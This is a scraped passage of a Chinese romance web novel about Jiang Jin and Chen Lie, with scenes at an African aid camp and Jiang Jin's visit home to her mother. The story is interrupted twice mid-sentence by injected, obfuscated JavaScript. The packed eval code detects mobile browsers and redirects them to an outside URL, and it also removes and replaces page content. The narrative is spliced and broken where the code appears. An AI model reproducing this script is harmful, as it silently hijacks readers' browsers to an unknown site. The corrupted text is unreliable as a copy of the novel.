“那他为什么来找你?”女同事们七嘴八舌:“他给你什么?” “一盒蚊虫叮咬膏。”姜堇从盆里拣出来:“谁需要就拿去用。” “哇好奢侈——大户大户!” 在非洲草原,必备的药品物资是比任何奢侈品都珍贵的存在。 奢牌包或各色钻石,在这里抵不上一盒蚊虫叮咬膏。 陈列也是来了一段时日后,才发现这里女生们洗头的规律。 姜堇在绑了两天丸子头后,这天傍晚,陈列见她蹲在帐篷外洗头。 陈列走过去:“不去吃饭?” 姜堇略一抬眸,从湿漉漉的发缝里瞧他:“不去。入了秋,等到晚上洗头就太冷了。” 陈列没说什么。 姜堇舀起一缸水往自己头上浇去时,又从发缝里看陈列,发现他灵巧地攀至一旁的树上,摘下两颗硕大的青芒来。 浩无边际的草甸染金,随风滚荡似母亲柔软的怀抱,远处有黑白交织的斑马扬起头。 陈列也不去吃饭了,盘腿坐在姜堇对面,撕开芒果的外皮来。 在国内卖得挺贵的水果,这里却遍地都是,以至于坠了满地变作草地养分。这种芒果最为他们所喜,核只有拇指大小的一颗,果肉细而无丝,在唇齿间化开是一种纯甜。 姜堇透过发缝看他。 陈列咬着芒果问:“你老看我干什么?” “我的呢?”姜堇问。 陈列指指自己腿边更大的那颗。 过了会儿姜堇又说:“你以前会帮我洗头的。” “你想我帮你洗头?” “没有。”姜堇答:“只是低头低得脖子酸。” 陈列喉管里低低地哂了声,站起来洗净了手,蹲到她身边。 姜堇始终低着头,如瀑的长发逆向垂着。她摸索着将水缸递进他指间:“省着点用水,还有,别把泡沫弄我眼睛里。” 陈列接过时,两人手指相触。 姜堇动作有很微妙的停滞,看起来想躲,又觉得躲开有些刻意。 陈列:“想躲就躲。” 姜堇:“我哪里想躲?” 从前两人更亲密的举动也有过。只是自从陈列把话挑明,这样若有似无的碰触在姜堇心里多了层涵义。 陈列帮她洗头。 陈列这人挺糙,这一点过了这么多年也没改变。他把洗发水抹上去,姜堇叫唤起来:“起泡了再抹呀!” “什么起泡?” “在你手心里搓起泡了再抹我头皮上,不然会堵塞发囊!”姜堇:“我不是说过很多次了吗?” 从十七岁开始,真的说过很多次了! “??”陈列:“到底有什么区别?揉一揉都会起泡的。” 他浇水的时候,姜堇又叫起来:“迷我眼睛了!” 陈列无语:“你到底洗不洗?” “不洗了!” 陈列放下水缸。 “陈列!” 陈列叹了口气,又把水缸捡起来。 姜堇埋着头发出咭咭的笑声。 可到了帮她擦干头发的时候,陈列又变得很温柔。姜堇盘腿坐在一张野餐垫,陈列蹲在她身后、用毛巾一寸一寸揉干她的长发。 “陈列。” “嗯?” “你看夕阳。”姜堇的嗓音透着点柔。 陈列抬眸看去。 晚风拂着姜堇半干的长发轻扬,夕阳被她发丝裁剪于是露了温柔腔调,大片橘粉的光逆着她剪影而来。 陈列生平第一次,透过一个人的发丝看了场夕阳。 他站起来:“ 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陈列木着张脸说:“我来拿吹风机。” 两个男人嗯嗯应着,陈列找到吹风,带着姜堇走出帐篷。 表情瞧上去有些头疼:“不好意思。” “你为什么要不好意思?”姜堇托着那颗芒果把玩,偏着头去逗陈列:“难道你和他们一样经常看……” 方才屏幕合上前白花花一闪,分明是女人白皙的大腿,配着那咿咿啊啊的声响,想也知道他们在偷看什么。 陈列睨姜堇一眼,不上她的当。 只是问:“你不介意?” 姜堇耸耸肩:“有什么可介意?正常生理需求,男人有,女人也有。” 入了姜堇的帐篷,同事们都在食堂,吃完饭要接着去上晚班。陈列替姜堇插好吹风机:“你用吧。” 姜堇将那颗饱满的芒果放到桌面,忽地一转手腕攥住陈列。 她的五官清冷,可眼波有种特殊的潋滟,这让她看上去有种难以抵挡的媚态。 她嗓音带着某种成熟的暗哑,问陈列:“想要么?” 陈列锋利的喉结轻滚。 “你都是和他们一样解决需求的?”姜堇拇指贴着陈列脉搏摩挲:“我这里有……为预防传染病准备的。” 她拉开药箱的小抽屉,里面薄薄银箔袋里显而易见是什么。 陈列:“你别招惹我。” “这没有什么。”姜堇的手搭上他腰线,在他紧实的肌肉上轻掐了一把:“我说了这是很正常的需求,男人有,女人也有。” 她的手越过陈列T恤下摆钻进去,也不作乱,只是刮擦着陈列发烫的肌肤。 陈列的呼吸一瞬沉了,伸手托住姜堇侧颊,手指插进她脑后半湿的发间。 甚至那样的潮湿都形成了某种暧昧。姜堇柔软的面颊贴着他掌心轻蹭,似小猫,流转的眼波望向他,纤柔的脚腕往上抬,勾住他脚踝。 这一动作不小心碰到了他身后的小桌,桌面托着的芒果落下来,烂熟得在地面摔碎。这里随处可见的芒果摔烂不可惜,只是空气里溢出一种甜腻黏稠的味道,像某种荷尔蒙。 像情欲混杂的气息。 陈列勾下腰来吻姜堇,姜堇后仰着颈项顺从地接纳。只是她舌尖有枚被他咬破的小小伤口,他一吮,她退缩,勾人得欲拒还迎。 陈列的呼吸又低沉几分,喷在她唇齿间有灼热触感。 姜堇的手自身后环住他的腰,一寸寸往前移,将要碰到他长裤纽扣时。 陈列猛然放开她,大口喘息着,退却两步。 姜堇坐在行军床畔几乎被他气笑。 “陈列。”她叫他的名字,一手摁着床沿:“你是什么忍者吗?你怎么那么能忍啊?” 陈列系好刚刚被她勾松的裤腰:“老子不着你的道。” “嗯?”姜堇含笑偏头。 “这么不清不楚地开始,算什么?”陈列走近,手背碰了碰她耳垂,嫣粉得发烫:“我要是意志不坚定,就让你这么蒙混过去。” 姜堇觉得好笑极了:“你怕我玩弄你的□□啊?” 想不到陈列缄默半刻,喉咙里低沉地:“嗯。” “你真怕啊?”姜堇扬唇逗他:“你怕什么?” 陈列一米八几的个子,站在她面前很强硬的,嘴里却一字一顿说:“怕你玩弄我的□□。” 姜堇大笑出声的时刻,他已往帐篷外走去,撩起门帘时对姜堇说:“把头发吹干。” 陈列直接去了工作帐。 回到宿舍时,年轻男人们团团围上来:“你怎么跟Lilac在一起?” “你把她带到咱们帐篷来干嘛?” 陈列坐到自己的行军床边脱靴子,眼神一一朝他们睨过去。 男人们立即噤声。陈列年纪在他们之中不是最大的,但技术卓绝,谁不尊称一声“列哥”,加之冷脸寡言,他们还真不敢随便开他玩笑。 本来他不应,这事也就这么过了。 想不到他枕着双臂往床头倒去时,嘴里应道:“嗯。” 一帐的人一下子炸了,恨不得有人上手来扒拉他:“你什么时候看上人家的啊?” “你喜欢她什么?” 陈列伸手把那人的狗爪子扒开。喜欢她什么?陈列自己也想过这个问题。 但:“说不上来。” 就像他自己所说,她像一场瘟疫,席卷过他最晦涩的青春,从此终生不愈。 67. 约会 营地里忙起来无暇喝一口水,偶有闲暇,便在草地上支起银幕给众人解乏。 营地的医护、技术人员和当地村民坐在一起,从国内带来的资源有限,翻来覆去放的左不过是《甜蜜蜜》或《卧虎藏龙》,也算是一种文化输出。 譬如Sarah就曾问过姜堇:“你们中国人真的会飞吗?” 姜堇哭笑不得。 姜堇通常是不去看电影的。她的人生从来都目标明确,没心思享受片刻闲暇,高中所读的那本《夜色温柔》,也不过是为了学习英文原版的遣词造句和语法。 只是这天陈列等在她帐外,看她是和同事一起走出来,也没转身走开。 女人们挤眉弄眼起来,他就那么直挺挺站着。 直到姜堇朝他走过去:“干嘛?” “看电影么?”陈列双手插在裤子口袋,站着时还是高中一般的姿态,后颈微微打弯:“有空的话。” 姜堇问:“如果没空呢?” “那就,”陈列顿了顿:“抽空。” 姜堇笑起来:“你这算什么?” 陈列挑了挑眉,一副“这不是显而易见”的表情:“找你约会。” 他聪明,脑子转得快,这样的人通常没什么耐心,说话时一不笑就会显得不怎么耐烦。 姜堇踢了他鞋尖一下。 他瞥了眼姜堇,用略柔和的语调又说了一遍:“找你约会。” 也没柔和到哪里去。 跟着又问:“你想怎么约会?” “什么叫我想怎么约会?” “我不会。”陈列道:“没约过。你会么?” 姜堇耸一下肩:“我上哪里会去?” 诚然他们都曾是校园的风云人物,明恋暗恋的人无数。可他们的青春期太过特殊,无人有恋爱的心思。 陈列想了想:“好像要送花和零食什么的。”他指了指草原随处可见开到艳绝的花:“要么?” 姜堇摇了摇头,突发奇想道:“我要吃话梅。” “你什么?” 姜堇重复一遍:“我要吃话梅。” 陈列看她半晌,点一下头,转身往后走去了。 他走到自己营地那一片,点点组长老头儿的肩:“有话梅么?” 老头儿搡他的动作挺不耐烦的:“你一大小伙子吃什么话梅?” 陈列:“我追的姑娘想吃。” “那也没……”老头儿猛然一下瞪圆了眼:“你什么?什么时候的事啊?谁啊?!?!” 一句话被老头儿百转千回地说出四个标点符号。 陈列:“姜阿堇。” “谁?” “Lilac。” “那个大美女啊?你小子眼光够高的。不是,你怎么看上人家的啊?她人好么?” “不好。”陈列说:“她是个坏女人。” 列哥追的姑娘要吃话梅这事一传十、十传百,还真被这群大小伙子们攒出包话梅来。 皱巴巴的包装递到陈列手上,那人解释:“本来是我打算晕车时吃的,塞在包里好久了。你看看过期没?” 陈列垂眸看。 还真过期了。贴着保质期,过期一天。 陈列带着那包过期话梅回去找姜堇:“可以约会么?” 姜堇也不拿腔调:“行。” 一听说陈列要约姑娘去看电影,技术组的男人们全来了。坐在草地上乌泱泱一片,贼眉鼠眼地冲陈列笑。 姜堇大方。他们要看,她就由他们看。 但陈列觉得烦,问姜堇:“走么?” “可电影刚刚开始。” 陈列带姜堇走到银幕背面:“在这里看。” 姜堇极少看电影,想不到人生第一次静下心来看电影,竟是倒着看的。银幕上男主骑一辆自行车,载着女主摇摇晃晃、穿行过港岛熙来攘往的街头。 女孩年轻的笑靥纯粹得没有一丝杂质,轻巧地晃着双腿,背景音乐便是那首《甜蜜蜜》: “甜蜜蜜,你笑得甜蜜蜜,好像花儿开在春风里……” 姜堇倚着树干吃话梅,想起她和陈列住过的船舱、乘过的公交,也是一般的摇摇晃晃。 陈列把手伸到她面前。 姜堇垂眸看了眼。 “核。”陈列说。 姜堇今天披散着头发,纤指将一边长发勾着,低头将话梅核吐进陈列的掌心。 核上黏着丝口水的晶莹。她总是将任何食物都吃得很干净,从前吃打折苹果时啃得只剩瘦瘦一个核,现在话梅核上也不剩任何果肉。 陈列将那枚核包进掌心,还带着她唇齿间的温度。 电影正演到女主为了前程,跟了一个有钱有势的□□大佬抛弃男主。姜堇竟没看过这部过分经典的老电影,对着反向屏幕看得认真。 陈列便是在这时突然问:“七年前的事你后悔过么?” 姜堇望着银幕的长睫轻轻一翕。 陈列捏紧掌中的话梅核,两角尖尖的刺着他掌纹,某种酸涩的味道染进来。 姜堇望着银幕说:“没有。我做事从不后悔。” “所以再来一次的话,”陈列问:“你还会那样对我?” “我会,陈列。”姜堇这时向陈列望过来:“我想骗你说我不会,可是,我会。” 陈列另只手拍了下树干:“所以,你也没什么要对我解释的?” “要解释什么呢,陈列?”姜堇道:“优胜劣汰,适者生存,如是而已。我想活下去,就必须适应这法则,必须狠心。” 陈列忽地低笑一声。 姜堇看着他。 “狠心。”陈列齿间玩味似的咀嚼一遍这二字:“狠心就说明你还有心。你有心么,姜阿堇?在你逃跑的那夜以后,你为我难受过么?哪怕一次。” 姜堇抿唇不说话了,转头又去看反向的银幕。 陈列的掌根在树干一下下轻拍着。 草原上含潮热湿气的夜风,将姜堇的一句话轻轻送过来:“我有。” 陈列抬起眼皮望向姜堇。她抿着唇角凝视银幕,不看他,长睫翩跹,那模样看着有些倔。 陈列长长地吁出一口气来。 “行。”陈列说:“我知道了。” 草原上有当地村民,用并不标准的中文跟着电影配乐在唱:“甜蜜蜜,你笑得甜蜜蜜……” 姜堇问:“为什么原谅我?” “谁说我原谅你?” “可是,”姜堇看过来:“你在追我。” 这一次换陈列望向银幕,电影正演到阔别多年的男女主在街头重逢。 “我从来没有原谅你,一分一秒都没有。”他望着银幕:“我只是,认了。” 他扭头看进姜堇的眼底:“我只是认命,阿堇。” - 姜堇回到帐篷的时候,女同事们围上来:“听说大帅哥在追你,是不是啊?” “长得漂亮可真好啊!” 姜堇坐在床畔抚一下自己的脸:“我漂亮么?” “喂喂,不要因为不符合当地审美而弄得怀疑自己啊喂!” 姜堇扬唇浅笑。 或许只有她自己知道,相较于十八岁时的容颜,她的确显而易见的沧桑了,因为一颗心已经历了别人几辈子的事。 “你们躲在银幕后面约会对不对?”女同事忙着问:“你们接吻了吗?” 姜堇只是弯着唇。 女同事一拍巴掌:“你们看她这副表情!肯定就是接吻了对吧!跟大帅哥接吻是什么感觉啊?” 姜堇想,接吻其实是早就接过了的,在她刚满十八岁的时候。 只是那时候的接吻对她来说像什么呢……像饕餮。 那时候的她犹如饿鬼,因为拥有得太少,忙不迭把身旁一切都揽入自己怀里,大口囫囵吞咽下去。 她要吃,要温暖,要同类。 那时跟陈列接吻的姿态,总像要把对方吞下肚去。 所以接吻不算什么。一直要到现在、今晚,陈列倚着树干对她说出那句“认命。” 陈列已是个成熟的男人了,他更高大而健硕,脸上的神色也不再颓丧或仓皇,透着种沉稳。 他开始掌控自己的生活,以及心意。 当他漆黑的双瞳望向姜堇、睫毛轻颤的那一刻,那种感觉对姜堇来说,更像接吻。 女同事挽着姜堇手臂:“你对他有没有感觉?” 姜堇:“或许是有的。” “那你会不会答应他?” “我不知道。” “既然有感觉为什么不答应?” 姜堇很难对人描述自己的心情。 陈列次日来找姜堇时,得知她告假。那时的姜堇,在飞回国内的飞机上。 国际援助队每年有两次的探亲假,姜堇是这时用上的。 出了机场打车,蒙着口罩戴着墨镜,司机频频往她脸上瞟,大约怀疑她是哪个明星或网红。姜堇抬手,将鸭舌帽的帽沿更压低一些。 车开到闹市一个小区,姜堇下车往里走去。 她瞧着小区里新添置的自动贩卖机是新鲜的,但往楼栋里走的脚步又熟门熟路。 掏钥匙开门,匆匆迎过来的中年女人看着她,一脸紧张的困惑。 两秒钟后反应过来:“哦,姜小姐……” 脸上的表情顿时有些讪讪:因雇主回来得太少而不认识雇主了是怎么回事? “您别这么客气。”姜堇淡笑一笑:“我说了叫我姜堇就好。” 她在玄关处换鞋,往里走的时候问:“我妈呢?” “在房里歇着呢。”阿姨手里拿着张帕子,正在麻利地擦电视柜。 她是姜堇给白柳絮请的保姆。白柳絮在加国疗养院调养得不错,自打姜堇从滕柏仁面前“消失”后,便通过国际组织将白柳絮转移回了国内。 一切手续不经由她自己,不留任何痕迹。 姜堇叩了叩,白柳絮抬起眸来满是警惕:“你谁啊?” 她好像只认得衣着光鲜的“雪照小姐”,不认得姜堇。 姜堇来得少,就因怕蓦然出现又被她当作年轻时的自己、刺激她情绪,便又退回客厅里坐着。 保姆阿姨瞥一眼沙发上的她:“吃饭没有?要不我给你做点?” “飞机上吃了点。”姜堇笑道:“不用了,您忙完就回房休息吧。” 怎么说呢,她清寒的长相总给不熟之人一种压迫感。阿姨跟她单独待着也局促,唯唯诺诺回房去了。 姜堇在沙发上发呆。 很多人到了非洲不适应当地气候,她却还好。那总让她想起江城,一般的湿热。 保姆阿姨跟白柳絮差不多年纪,做事有些老式习惯,譬如说果盘下垫一张旧报纸,怕水痕洇进茶几木纹里去。 姜堇把报纸拿起来。 巧得很,正是江城某高端公寓项目发布会延期的消息。是要圈内人才知道,发布会延期是因为滕家二少一场婚礼变葬礼。 是要更圈内人才知道,滕家二少未婚妻“葬身”在那艘本应举办婚礼的邮轮上,漫天大火间尸骨无存。滕家二少重新包了艘邮轮,办了场格外盛大的葬礼,海面上残阳如血,邮轮上放飞一群白鸽。 滕家二少坐着轮椅在甲板上,手捧一只精巧得过分的木匣,里面不是骨灰,而是被剪成一片片的礼服。他戴着白手套将那些碎片洒落大海的神色很平静,平静得像是为这场葬礼准备了很多很多年。 姜堇放下报纸,压回果盘底下去,拈了颗红提塞进嘴中。 本是不饿的,酸涩开胃的滋味在齿间迸溅开,又觉得腹内空荡荡的。 姜堇拿了钥匙下楼。 小区里种满的香樟掩着黄昏,归家的行人拎着菜肴。姜堇扣着鸭舌帽,在小区周围漫无目的走着。救助队的同事每每开玩笑说,有机会回国一定大吃个三天。 姜堇这时却不知自己想吃什么,随便拐进了一家路旁超市。 很意外的,她竟在货架上看到老式曲奇饼干,白柳絮以前给她买过的那种,小小圆圆的铁皮盒上印一只长毛波斯猫。 她取了去付款。 老板笑着打望她一下:“你是小时候吃过吧?” 姜堇点头:“又开始生产了?” “现在什么不都卖个情怀嘛。不过,这种又甜又腻的口味哪适合现在的年轻人,谁知道能生产多久。”老板看着她递来的钞票:“你扫码嘛,现在谁还用现金啊?” “不,就现金。” 姜堇抱着铁盒回到小区,坐到楼下一张长椅上。 家家户户亮一盏暖黄的灯,她给白柳絮租住的那一间也是一样。 姜堇扬起手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我上楼再给你打回来,要走挺久。” “知道。”陈列仍是说:“别挂。” 姜堇不说话了,慢慢往楼栋走去。 她方才想给陈列发那张照片,是因为在她十八岁的时候,陈列曾替她和白柳絮租过一个小小的房子。那对姜堇而言,是第一个真正的家,妈妈在,她在,不用担心有人闯进来暴喝殴打,那里永远亮着一盏暖黄的灯,是她们小小的安全岛。 可这些话姜堇永远都不会说。她说不出口。 她只是沉默地走进电梯,陈列也在电话那头缄默。她自己深深浅浅的脚步声间,能听见陈列深深浅浅的呼吸。 电梯里有其他住户,某家小孩牵着只气球,某家人牵着只斗牛来嗅她鞋尖。 出了电梯,她掏钥匙开门时,对着电话里问:“陈列,你会换灯泡么?” “怎么?” “我妈家楼道里的灯坏了。” 陈列在电话里说:“我会。” 姜堇浅浅笑道:“其实,我也会。” “嗯。”陈列:“我知道。” 姜堇开门进去,叩了叩白柳絮的房门,白柳絮抱着收音匣子正听戏,看向她的眼神依然警惕:“你到底是谁?要干嘛?” 姜堇晃了晃手机:“有电话找你。” 她将手机贴至白柳絮脸侧,白柳絮一张面孔写满了狐疑:“喂?” “喂。”姜堇听见陈列在那端的声音:“阿姨。” “陈列!”白柳絮捧住手机喝道:“你怎么只让你女朋友来看我啊?你自己怎么不来!” 姜堇把手机让给她,自己一步步后退,背手靠住墙。 手机里陈列的声音听不到了。 只听白柳絮在笑。 姜堇实在想象不到,陈列一个看起来寡言又凶的人,到底有什么办法令白柳絮笑。 她只是靠着墙,阖上眼,肩膀松懈下来,忽然觉得有一点累。 她一直绷着劲往前跑,好像只有松懈下来的时候,她才会觉得有一点累。 末了白柳絮对着电话里问:“你还要跟你女朋友说话吗?” 接着把手机往姜堇一扬:“哎!” 姜堇张开眼。 “他要跟你说话。” 姜堇摇摇头:“不用了,让他直接挂吧。” 白柳絮对手机里叽咕了两句,仍是把手机递过来:“他还是要找你。” 姜堇接过:“喂?” 陈列却只是缄默。 “说话呀。”姜堇轻轻道。 “其实,我也不知道要说什么。” “陈列。”姜堇往外走,轻轻替白柳絮带上房门:“你知道我小时候最奇怪的一件事是什么?我妈姓白,我继父姓章,可我姓姜。我怎么会姓姜?我妈说,因为和她相爱的那个人姓姜,他只是不得已,也许有一天,他会找到我们,那时他就会发现他的女儿,还跟着他姓姜。” “你说我妈怎么会这么蠢?”姜堇讲这些往事时始终笑着,咭咭地,直到眼尾挤出眼泪,她拿手指揩去:“为什么女人把爱当成信仰,就会变得这么蠢?” 她挂了电话,去客厅里翻找。 保姆阿姨披着外衣出来:“你找什么?” “工具箱。”姜堇答:“楼道里的灯坏了。” “哦。”阿姨浅浅打个呵欠:“报修好几次了,这小区物业费低嘛,一直没人来修。” “我知道。”姜堇埋头把工具箱扒拉出来。 倒不是她现在缺钱,她早就不缺钱了。租这么个大隐隐于市的小区,是因为这里人多、热闹,不容易成为目标。 姜堇又扛了架木梯子,自己去楼道里。 保姆阿姨跟在她身后:“姜堇,你力气蛮大的哩。” 姜堇扬唇:“阿姨,你去睡吧,我自己来就行。” 她跨上梯子的姿态很利落,嘴里咬着个灯泡,把楼顶所悬的那个旋下来,又把新的拧上去。公区不好断电,她拧得很小心,啪地一声,灯突然亮起,晃得姜堇眯一眯眼。 她就那样跨坐在梯子上,抬手挡住眼,良久。 68. 软肋 第二天一早,姜堇乘公交去了臭水河畔。 她曾以为自己一生都不会回到这里。然而坐在摇摇晃晃的公交车上,当一抹淡泊的晨曦透过赃污的窗帘透进来,姜堇闻见空气里略带腥气的潮湿气息。 她仍是觉得分外熟悉。 下了车,正是天色将明的时分,身后的城中村闹嚷起来,买鸡买饿的,吃包子吃面条的。 姜堇略一犹豫,掀开泛黄发硬的塑料帘,钻进她曾经打工的小超市。 戴发卷的老板娘只瞥她一眼,就继续抱着手臂骂柜台里值班的小姑娘:“他要钱你就给他啊?” 小姑娘分外委屈:“他是老板……” 老板娘涂丹蔻的肥硕手指猛在玻璃柜台一砸:“这超市他说了算还是我说了算?你那么听他的干嘛?你是不是跟他有一腿?装文静的小骚货,还指望他休了老娘给你扶正是吧?” 一张红钞被轻轻拍到桌面。 老板娘和小姑娘同时抬头。 姜堇戴着鸭舌帽蒙着口罩,看上去只是个衣着低调的成年女人。 老板娘睨那张红钞一眼:“你买什么?” “买清静。”姜堇将鸭舌帽摘下来。 她清冷的眉眼露出来,老板娘瞟一眼,拾起柜台上的红钞晃晃:“那我可收了。” 转身便走。 竟没有认出她来。 “哎。”姜堇叫住她,缓缓摘下口罩:“我还想买点东西。” 老板娘指指柜台里的小姑娘:“找她买,她是这里打工的。” “就找你买。”姜堇又掏出一张红钞。 “买什么?” “你的时间。”姜堇虚虚一点小姑娘:“我带她出去一天。” “你是她姐啊?” “不是。” “随便随便。”老板娘走进柜台拉起小姑娘来:“走走走。” 自己从柜台桌肚里掏出袋散装瓜子来,肥硕的手指一颗颗往嘴里塞。 姜堇转会到货架边,拿了两盒麻辣牛肉泡面,递给小姑娘:“泡了。” 又指指柜台里的烟:“拿包红旗渠。” 另付现钞结账。 “哎……” 她转身离开的时候,老板娘终于叫住她,盯住她那张清冷却瑰丽的面庞:“你……” 姜堇毫不回避地直视着她。 她却忽地笑了,抓起一把瓜子,门牙明显有两个常年嗑瓜子留下的缺:“小姐你长得这么漂亮,有没有想过去城中村的那家按摩店找机会?薪水很高的,还有小费。” 姜堇终于忍不住露出嫌恶神色,径直叫一旁端着两碗泡面的小姑娘:“走吧。” 她厌烦地掀开那泛黄塑料帘,近十年前她离开时挂的就是这一张,她记得左边被烟头烫出的那个小洞,和右边染上的一点油漆赃污。 小姑娘跟在她身后怯怯地叫:“姐姐。” 姜堇回头。 “去哪啊?” “吃早饭。”姜堇道。 她领着小姑娘去了臭水河畔。 迎着淡金晨光,她神色有一秒怔忪。她的船早已被她亲手割断绳索放走了,她本以为会看到陈列住过的那条破船,想不到河畔空荡荡的,什么都没有。 只有曾经小腿长的蒿草,因久无人打理,蹿得更高了,来到及腰的高度。 河面的飘萍更厚,泥泞里满是垃圾,即便晨光如滤镜般铺一层晕光的浅金,这景象也没变得好看起来。 只有久居于此的人才能习惯泛腥气的淡淡臭味。 姜堇却指指河畔干净的草甸,叫小姑娘一同坐下。小姑娘悄悄瞟姜堇,她反扣着鸭舌帽,埋头大口吃泡椒牛肉面的姿态似丝毫不怕辣。 可她未见得真的不怕辣。察觉到小姑娘视线,她看过来的时候,腮帮子鼓鼓,鼻头和唇瓣被辣出一点红:“看我做什么?还不吃。” 小姑娘赶紧埋头吃面。 挑了一口进嘴,忍不住问:“你怎么知道我爱吃这口味?” “什么?” “泡椒牛肉味。”小姑娘托举一下纸盒:“你都没问我,就给我也拿了这口味。” 姜堇将吃空的纸盒放到腿边,抬起鸭舌帽,扬手往后抚一把柔顺的长发:“像我们这样的人,都喜欢吃辣。” 辣是一种痛觉,让逼仄的生活不至趋于麻木。 “嗯?”小姑娘没听懂。 “没什么,吃吧。”姜堇笑一笑。 “你要我陪你去做什么?”小姑娘想了想:“你是要请向导吗?这里只有一片城中村,没什么好逛的。” “那除了这里呢?” “除了这里?”小姑娘明显一怔:“我就不知道了。” 姜堇从牛仔裤口袋里翻出一叠红钞,数了其中十张递她。 小姑娘吓一跳:“违法乱纪的事我不做的。” 姜堇将钱塞她手里:“只是让你去打辆车,让司机随便开,开到最远的地方再绕回来。” “什么叫随便开?”小姑娘不解:“我要去哪里?” “哪里都行。”姜堇耸耸肩:“去看高楼大厦,去看城市最繁华的街道,去看那些拎着电脑包踩着高跟鞋走过的职业女性……都行。” 小姑娘犹疑着:“我看那些干嘛?” “看到那些,你才想离开这里。”姜堇道:“去吧。” 小姑娘拿着钱跑开去,回眸,见姜堇还盘腿坐在河畔,迎着朝阳。 “你叫什么名字?”她鼓起勇气问。 姜堇回过头来。 “你不方便说?”小姑娘:“那我告诉你,我叫……” “名字不重要。”姜堇打断她,薄雾晨曦飘染至她白皙瑰丽的面庞上:“名字不重要,你是谁才比较重要。” 姜堇在河畔坐了许久,起身回家。 保姆阿姨见她拖出根本没拆开的行李箱,一愣:“这就要走啊?” 姜堇笑道:“国外的工作人手少,不好请假。” 保姆阿姨只道她在外贸公司工作:“那你注意身体啊。” 姜堇叩一叩白柳絮的房门:“我走了。” “走吧走吧。”白柳絮对着镜子在练戏曲指法:“记得帮我问问你男朋友,他什么时候来看我?” 姜堇忍不住挑唇:“你就那么喜欢他?” “喜欢啊。”白柳絮毫不犹豫点头:“他认识我女儿呢,他说他们是同学。” 姜堇一愣。 “你知道他昨晚告诉我什么?”白柳絮喃喃道:“他说,他找到我女儿啦。我的阿堇现在很好,就是不方便来看我。说她现在很能吃饭,不过人还是瘦,他说他想把她喂胖一点,煮面条给她吃……” 姜堇一手拖着行李箱,另一手贴着门框,拇指轻轻摩挲着。 她终于知道陈列那般寡言的人,昨晚说了什么能令白柳絮发笑。 她登上返回非洲的航班。 她们前往援助的村寨位于草原腹地,非得她服务的国际组织派车来接。 姜堇拖着行李下车时,正值傍晚,草原上的夕阳是一种瑰旖的橘粉,油画棒般涂染了半片天空。 陈列和几个男人在草垛边劈柴。 夏天快要过去了,入夜需要大量的篝火。陈列是其中个子最高的一个,穿着黑T,在一派浪漫主义的夕色中显得冷冽而醒目。 扬起斧头的时候,手臂的肌肉偾张,拉出利落的腰线。 姜堇看到好几个年轻姑娘在悄悄看他。 瞧见姜堇拖着行李从吉普车下来,男人们开始起哄。陈列一眼睨过去,他们又不敢多言语了。好像唯独陈丽没往姜堇这边看一眼,只是沉默地勾腰劈柴。 十数小时的飞行加转车,姜堇风尘仆仆,回帐篷后先换了身衣服。 有人摇动帐外的铃铛。 姜堇:“进来。” 走进的是陈列,深深看了姜堇一眼。 姜堇开他玩笑:“怎么,我才走了几天,不认得了?” “其实我想过。” “什么?” “你不会再回来了。” 姜堇弯了眉眼:“不回来我能去哪里?” “我不知道。”陈列站在并不宽大的帐篷里像一座沉默的山:“我从来都不知道。” 姜堇坐在床畔,她的头发经过旅途劳顿油了,一时没找到皮筋,便顺手斜斜地编一条麻花辫,用卫衣的帽绳系在肩头。 陈列拍一下她的帐杆:“这次回去吃什么好吃的了?” “陈列。” “嗯?” 姜堇忽然说:“我想吃你煮的面。” 陈列沉默一瞬。 两人谁都没有提及他在电话里同白柳絮说的话。陈列只是问:“上次你带来的面吃完了,这次带了么?” “没有。” “那我去找找看。”陈列转身出了帐篷。 不一会儿,陈列拿着包面条进来。包装里也只剩拇指粗那么细细一把,陈列默然地蹲到瓦斯炉前,开始烧水。 姜堇望着他背影:“哪来的?” “小张的。” 姜堇轻笑:“他肯给你?” “换的。” “拿什么?” “啤酒。” 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732165|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堇嘶一声:“硬通货,你可真舍得。” 陈列并不说话,只是蹲在瓦斯炉前把面条煮进去。 姜堇问:“能放辣么?” “不能。” “为什么?” “这里气候太干燥。” “陈列你这个人……”姜堇似是无奈地一笑:“真的有一些莫名其妙的原则你知道么?” 陈列并不反驳,只是撒些盐进去。 他感到姜堇站了起来,轻轻走到他身后来。其实姜堇的脚步很轻,像猫,只是她的一阵温软覆下来,自身后弯腰抱住陈列厚实的背。 “陈列。”她轻轻地叫他。 她编成麻花辫的长发不知何时散开了,自他的脸侧垂下,痒痒的扫着他。 她香软的气息是拥抱之外的第二重拥抱。陈列撒盐的手顿了下:“你也不怕烫到。” 姜堇仍那样抱着他:“你刚才没看我。” “什么?” “我刚下车的时候。” 陈列略踮着双脚蹲着,承受着姜堇自他身后压过来的体重。姜堇又说:“可我觉得你在勾引我。” “嗯?” “你劈柴的样子,很性感。”姜堇始终没碰陈列,可她说话时,温软的气息刮擦着陈列耳廓。 陈列觉得痒,抬手想揉,又被姜堇把他的手打下去。 “淡蓝色的。”陈列忽然说。 姜堇下飞机时穿的那件卫衣,是淡蓝色的。 “那是紫色。”姜堇轻轻呵笑:“为什么男人分不清蓝色和紫色?” 她挂在陈列肩头伸手往下,去够陈列的裤腰。 陈列一把抓住她细瘦的腕子:“别闹,煮面呢。” 姜堇当真不再动了,直到陈列把那碗面乘出来,她用鼻尖轻碰了碰陈列的耳垂。 当陈列拧熄了瓦斯炉,她用下巴蹭一蹭陈列的颈侧,那动作也像猫。 陈列的喉结滚了下。 “姜堇。”叫她的名字时有种警示意味。 她却从不怕她,用牙尖在他颈动脉轻咬了口。 